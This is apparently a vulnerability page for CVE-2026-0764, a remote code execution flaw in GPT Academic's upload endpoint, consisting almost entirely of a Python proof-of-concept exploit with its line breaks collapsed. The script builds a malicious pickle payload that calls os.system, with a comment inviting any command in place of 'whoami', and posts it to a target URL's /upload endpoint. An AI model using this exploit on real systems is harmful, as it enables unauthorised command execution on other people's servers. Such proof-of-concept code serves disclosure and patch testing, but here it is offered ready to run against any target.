CVE-2026-0764: GPT Academic upload接口反序列化远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-0764 PoC - GPT Academic Untrusted Deserialization RCE # This PoC demonstrates the deserialization vulnerability in GPT Academic's upload endpoint import pickle import requests import sys import base64 class Exploit: def __reduce__(self): # This will execute arbitrary command when deserialized # Replace 'whoami' with any command you want to execute import os return (os.system, ('whoami',)) def generate_payload(): """Generate malicious pickle payload""" exploit = Exploit() pickled = pickle.dumps(exploit) return base64.b64encode(pickled).decode() def send_exploit(target_url, payload): """Send the exploit to the vulnerable endpoint""" # Typical GPT Academic upload endpoint upload_url = f"{target_url}/upload" if not target_url.endswith('/upload') else target_url # Prepare the malicious payload files = { 'file': ('exploit.pkl', payload, 'application/octet-stream') } try: response = requests.post(upload_url, files=files, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://target:5000") sys.exit(1) target = sys.argv[1] print(f"[*] Generating payload for CVE-2026-0764...") payload = generate_payload() print(f"[*] Payload generated: {payload[:50]}...") print(f"[*] Sending exploit to {target}...") status, response = send_exploit(target, payload) if status: print(f"[*] Response status: {status}") print(f"[*] Response: {response}") else: print(f"[!] Error: {response}")